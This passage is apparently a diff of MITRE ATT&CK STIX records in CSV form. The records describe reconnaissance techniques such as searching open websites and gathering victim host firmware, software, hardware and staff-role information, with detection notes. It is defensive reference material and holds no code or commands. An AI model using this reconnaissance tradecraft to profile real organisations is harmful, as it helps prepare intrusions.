E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.'}, {'source_name': 'ExploitDB GoogleHacking', 'url': 'https://www.exploit-db.com/google-hacking-database', 'description': 'Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1593,mitre-attack,T1593,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Search Open Websites/Domains,"Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1593', 'external_id': 'T1593'}, {'source_name': 'Cyware Social Media', 'description': 'Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.', 'url': 'https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e'}, {'source_name': 'SecurityTrails Google Hacking', 'description': 'Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.', 'url': 'https://securitytrails.com/blog/google-hacking-techniques'}, {'source_name': 'ExploitDB GoogleHacking', 'description': 'Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.', 'url': 'https://www.exploit-db.com/google-hacking-database'}]",1.0,attack-pattern,attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:48:04.509Z,2021-04-15T03:52:41.104Z,Search Open Websites/Domains,"Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) -Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365,attack-pattern,['reconnaissance'],2021-04-15T03:52:41.104Z,2020-10-02T16:48:04.509Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",['reconnaissance'],https://attack.mitre.org/techniques/T1593,mitre-attack,T1593,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1592.004', 'url': 'https://attack.mitre.org/techniques/T1592/004'}, {'source_name': 'ATT ScanBox', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1592/004,mitre-attack,T1592.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Client Configurations,"Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592/004', 'external_id': 'T1592.004'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",1.1,attack-pattern,attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:47:16.719Z,2021-10-17T16:35:09.668Z,Client Configurations,"Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c,attack-pattern,['reconnaissance'],2021-04-15T03:22:14.288Z,2020-10-02T16:47:16.719Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1592/004,mitre-attack,T1592.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1592.003', 'url': 'https://attack.mitre.org/techniques/T1592/003'}, {'source_name': 'ArsTechnica Intel', 'url': 'https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/', 'description': 'Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1592/003,mitre-attack,T1592.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Firmware,"Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592/003', 'external_id': 'T1592.003'}, {'source_name': 'ArsTechnica Intel', 'description': 'Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.', 'url': 'https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/'}]",1.0,attack-pattern,attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:46:42.537Z,2021-04-15T03:22:46.759Z,Firmware,"Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d,attack-pattern,['reconnaissance'],2021-04-15T03:22:46.759Z,2020-10-02T16:46:42.537Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",['reconnaissance'],https://attack.mitre.org/techniques/T1592/003,mitre-attack,T1592.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1592.002', 'url': 'https://attack.mitre.org/techniques/T1592/002'}, {'source_name': 'ATT ScanBox', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1592/002,mitre-attack,T1592.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Software,"Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592/002', 'external_id': 'T1592.002'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",1.1,attack-pattern,attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:42:17.482Z,2021-10-17T16:33:19.596Z,Software,"Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884,attack-pattern,['reconnaissance'],2021-04-15T03:23:57.876Z,2020-10-02T16:42:17.482Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1592/002,mitre-attack,T1592.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1592.001', 'url': 'https://attack.mitre.org/techniques/T1592/001'}, {'source_name': 'ATT ScanBox', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1592/001,mitre-attack,T1592.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hardware,"Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592/001', 'external_id': 'T1592.001'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",1.1,attack-pattern,attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:40:47.488Z,2021-10-17T16:32:10.810Z,Hardware,"Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26,attack-pattern,['reconnaissance'],2021-04-15T03:23:21.031Z,2020-10-02T16:40:47.488Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",['reconnaissance'],https://attack.mitre.org/techniques/T1592/001,mitre-attack,T1592.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1592', 'url': 'https://attack.mitre.org/techniques/T1592'}, {'source_name': 'ATT ScanBox', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1592,mitre-attack,T1592,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Gather Victim Host Information,"Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592', 'external_id': 'T1592'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",1.1,attack-pattern,attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:39:33.966Z,2021-10-17T16:35:09.878Z,Gather Victim Host Information,"Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f,attack-pattern,['reconnaissance'],2021-04-15T03:23:58.024Z,2020-10-02T16:39:33.966Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1592,mitre-attack,T1592,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1591.004', 'url': 'https://attack.mitre.org/techniques/T1591/004'}, {'source_name': 'ThreatPost Broadvoice Leak', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1591/004,mitre-attack,T1591.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify Roles,"Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591/004', 'external_id': 'T1591.004'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}]",1.0,attack-pattern,attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:37:30.015Z,2021-04-15T03:39:08.904Z,Identify Roles,"Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: 